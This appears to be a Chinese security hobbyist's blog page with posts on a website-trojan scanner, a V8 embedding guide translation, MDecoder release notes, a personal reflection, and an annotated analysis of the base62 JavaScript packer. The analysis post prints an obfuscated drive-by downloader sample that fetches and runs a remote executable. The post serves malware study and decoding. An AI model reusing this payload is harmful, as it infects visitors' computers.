Posted on

网站挂马扫描器 MScaner V0.1

网站挂马扫描器(MScaner)是一款自动化扫描分析网站是否被挂马的工具。MScaner可对网站进行自动化扫描分析,探测是否被挂马,所挂网页木马利用何种漏洞。

主要功能:
        * 自动化的网站挂马检测

下载地址:
http://www.mtian.org/down/MScaner.zip
http://log.mtian.org/MScaner.zip

截图:

网站挂马扫描器
网站挂马扫描器

 闲扯:不知道这玩意能活下去不。

Posted on

(译)V8 JavaScript 引擎 – 嵌入者指南

译自:http://code.google.com/apis/v8/embed.html

如果你已经读过入门指导,你会已经熟悉把v8作为一个独立的虚拟机来使用,并且有了一些关于v8的概念,比如 handles, scopes, 和 contexts。这个文档将进一步的讨论这些概念,并介绍其他一些在嵌入v8到你的C++程序时需要了解的概念。

V8 的API提供了编译并执行脚本、访问 C++ 方法和数据结构、错误处理和安全检查。你的程序可以像使用其他库一样使用V8。你的C++代码可以在包含include/v8.h后通过使用 V8 API 来访问 V8。

V8 设计元素这个文档提供了一些你为 V8 而优化自己程序时有用的背景概念。

读者

本文档适用于想要将 V8 JavaScript 引擎嵌入到 C++ 程序中的 C++ 程序员。这将有助于你使用 JavaScript 调用你自己程序中的 C++ 对象和方法,并且可以让你的 C++ 程序调用 JavaScript 对象和函数。
Continue reading (译)V8 JavaScript 引擎 – 嵌入者指南

Posted on

MDecoder 0.54

0.54更新:
1、base62(eval(function(p,a,c,k,e 那种)改用算法解密。
2、解决去除CSS误报中一个小BUG。
3、界面上的链接改用默认浏览器打开。

0.53更新:
1、解决误报CSS为EXE的问题。
2、解决几个小问题。

0.52更新:
1、修正几个小BUG,优化用户体验。
2、提高对流行网页木马利用漏洞的识别率。

下载地址:
http://mtian.org/down/MDecoder.zip
http://log.mtian.org/MDecoder.zip

闲扯:
加牛加牛

Posted on

base62的解码分析

mdecoder对于base62的解码一直都是用v8来跑的,但是因为对v8用的不好,导致大量解码的有时会崩溃。今晚上瞧了下他自身怎么解码的,打算自己写个解码的函数。

<script type="text/javascript">
//脚本经过改版,所以可能有些地方没意义。
//匹配p中的单词,以单词为下标从k中取明文替换。
//p  密文
//a  根据他进行下标的转换。最大62,所以这种加密方法有的地方称之为base62。
//c  k中所放东东的个数
//k  明文的单词表
//e  一开始放了个函数,转换为下标的。后来还是放了一个函数,直接返回用来构成正则的一段字符串。
//d  后来存放k的内容了。
eval(function(p, a, c, k, e, d) {
    e = function(c) {
        //返回的是两段相加的,如果大于a,则递归取值,小于a则用后面的取值。 0~35 -> 0~z; 35~61 -> A~Z; 62~97 -> 10~1z
        //parseInt() 函数可解析一个字符串,并返回一个整数。
        //toString() 方法可把一个 Number 对象转换为一个字符串,并返回结果。 NumberObject.toString(radix)  
        //               例如,当 radix 为 2 时,NumberObject 会被转换为二进制值表示的字符串。
        return (c < a ? '': e(parseInt(c / a)))    +   ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
    };
 
    if (!''.replace(/^/, String)) {            //似乎是必然为真的判断
        while (c--) d[e(c)] = k[c] || e(c);    //复制k数组内容到d数组,d数组的下标为经过函数处理的c。
        k = [function(e) {                     //k[0] = function(e){return d[e]}  k数组的第一个元素是一个函数,直接返回d数组的内容
            return d[e]
        }];
        e = function() {                       //返回"\\w+"
            return '\\w+'
        };
        c = 1
    };
 
    //只能循环一次,上面已经将c设置为1了。
	//生成一个正则表达式,以匹配到的东西为下标取d数组的内容来替换原来的内容。
    //js中的replace比较强大,会把匹配到的内容放到第二个参数(函数)里处理,然后替换。
    //正则就是匹配字母+数字+下划线组合的单词
    while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
 
    return p
} (
   '2w 1j(1E){l 2v="";l 1C=1D.2u()*1E;2t\'\\2s\\6\\B\\g\'+1D.2r(1C)+\'\\k\\5\\1A\\5\'}2q{l 1z="\\O\\6\\6\\g\\1w";1y="\\X\\X";1x="\\C\\u\\k\\W\\K\\u\\k\\D\\D\\D\\k\\D\\J\\M\\X\\1B\\8\\j\\i\\f\\1B\\k\\5\\1A\\5";1k=1z+1y+1x;1u="\\f\\o\\y\\5\\a\\6";1t="\\a\\b\\e\\t\\t\\8\\i";1s="\\a\\b\\t\\8\\i\\1w\\1g\\1v\\K\\C\\p\\M\\M\\C\\L\\C\\M\\x\\J\\L\\W\\W\\1v\\u\\L\\K\\2p\\J\\x\\L\\u\\u\\p\\u\\2o\\I\\p\\D\\K\\T\\J\\C";1m="\\x\\i\\f\\i\\o\\k\\n\\6\\h\\5\\e\\B";1i="\\n\\a\\h\\8\\g\\6\\8\\j\\2n\\k\\I\\8\\b\\5\\n\\1l\\t\\6\\5\\B\\z\\o\\y\\5\\a\\6";A=(2m["\\i\\f\\a\\R\\B\\5\\j\\6"]["\\a\\h\\5\\e\\6\\5\\T\\b\\5\\B\\5\\j\\6"](1u));A["\\t\\5\\6\\x\\6\\6\\h\\8\\o\\R\\6\\5"](1t,1s);1d(2l("l%2k%2j%2i%22%2h%1q%V%2g%U%V%2f%2e%2d%V%1r%U%22%2c%28%22%1o%2b%1r%1q%1p%2a%1p%27%U%26%25%22+%22%1o%22+%22%24%22+%22%23%22+%22%1n%22+%22%1n%22+%22%21%22%20%22%22%29%1Z"));l S=A["\\p\\h\\5\\e\\6\\5\\z\\o\\y\\5\\a\\6"](1m,"");S["\\6\\1l\\g\\5"]=1;P["\\z\\g\\5\\j"]("\\1h\\T\\1e",1k,0);P["\\n\\5\\j\\i"]();H=1j(1Y);l F=A["\\p\\h\\5\\e\\6\\5\\z\\o\\y\\5\\a\\6"](1i,"");l 1f=F["\\1h\\5\\6\\n\\g\\5\\a\\8\\e\\b\\I\\f\\b\\i\\5\\h"](0);H=F["\\1g\\R\\8\\b\\i\\1X\\e\\6\\O"](1f,H);S["\\f\\g\\5\\j"]();S["\\1W\\h\\8\\6\\5"](P.1V);S["\\n\\e\\1U\\5\\1e\\f\\I\\8\\b\\5"](H,2);S["\\p\\b\\f\\t\\5"]();l Q=A["\\p\\h\\5\\e\\6\\5\\z\\o\\y\\5\\a\\6"]("\\n\\O\\5\\b\\b\\k\\x\\g\\g\\b\\8\\a\\e\\6\\8\\f\\j","");1d("\\18\\17\\16\\w\\14\\9\\1T\\13\\1b\\q\\3\\4\\m\\s\\3\\4\\c\\d\\3\\4\\7\\1c\\3\\4\\7\\N\\3\\4\\7\\m\\3\\4\\d\\E\\3\\4\\7\\1S\\3\\4\\c\\m\\3\\4\\7\\G\\q\\1a\\19\\1R\\4\\w\\1Q\\10\\11\\r\\3\\3\\3\\4\\c\\9\\3\\4\\c\\1c\\3\\4\\c\\9\\3\\4\\c\\m\\3\\4\\7\\d\\3\\4\\7\\w\\3\\4\\9\\9\\3\\4\\9\\s\\r\\v\\r\\3\\4\\7\\9\\3\\4\\7\\w\\3\\4\\7\\m\\3\\4\\s\\1P\\3\\4\\7\\d\\3\\4\\c\\G\\3\\4\\7\\d\\r\\Z\\1O\\15\\12\\1N\\1b\\q\\3\\4\\d\\9\\3\\4\\7\\G\\3\\4\\7\\d\\3\\4\\7\\N\\3\\4\\7\\N\\3\\4\\m\\d\\3\\4\\c\\G\\3\\4\\7\\d\\3\\4\\7\\9\\3\\4\\c\\d\\3\\4\\c\\m\\3\\4\\7\\d\\q\\1a\\19\\18\\17\\16\\w\\14\\9\\v\\r\\3\\4\\s\\E\\3\\4\\s\\13\\3\\4\\7\\9\\3\\4\\s\\E\\r\\11\\1M\\c\\1L\\1K\\1J\\9\\v\\q\\q\\v\\1I\\1H\\10\\1G\\v\\E\\Z")}1F(Y){Y=1}', 
   62,
   157,
   '|||134|170|x65|x74|66|x69|63|x63|x6C|67|65|x61|x6F|x70|x72|x64|x6E|x2E|var|64|x53|x62|x43|42|47|62|x73|x30|54|104|x41|x6A|x4F|ZHjnh2|x6D|x36|x32|60||70|T7tRw3|x46|x33|x39|x2D|x35|103|x68|jhI5d||x75||x45|5Cx74|5Cx65|x31|x2F|SRgI5d|51|145|53||106|141||162|163|152|50|135|133|71|eval|x54|KxDLe|x42|x47|QI8Ea3|yGjnh2|fHjnh2|x79|CHjnh2|5Cx54|5Cx4D|5Cx6F|5Cx72|5Cx63|JHjnh21|IHjnh2|HHjnh2|x44|x3A|sfzLe|tfzLe|qezLe|x78|x77|oveAS3|Math|RgI5d|catch|156|160|157|167|122|164|124|121|73|105|114|113|61|75|x76|responseBody|x57|x50|10000|3B|2C|5Cx50||5Cx48|5Cx4C|5Cx58|5Cx2E|5Cx66|||5Cx73|5Cx69|5D|5Cx6A|5Cx62|5Cx4F|5Cx61|5Cx43|5B|3DZHjnh2|20jhI5d|unescape|window|x67|x34|x38|try|round|x7E|return|random|www|function'.split('|'), 
   0, 
   {}
  ))
 
</script>
Posted on

谋事在人成事在天?

记得看三国的时候,里面说诸葛亮把司马懿勾引到谷里打算烧死,本来啥事都齐了,可是下雨了,诸葛亮说“谋事在人成事在天”。

可是,这个谋事该如何说呢?三国中把诸葛亮说的料事如神,而且有种种科技发明。如果诸葛亮料到那天下雨,并且准备了不怕雨的攻击设备,那么还会有所谓的成事在天么?

一件事,做到什么地步才能安心的说句谋事在人成事在天呢?

我是不是有些偏执了?

从前年到现在,发生了种种不如意的事,是不是我太弱了?

迷信才能让人心安吧,怪不得在西方基督教那么流行,心中总要有个依靠。

当一些迷信和依靠都没有的时候,就让我做自己的依靠吧。

加牛!!!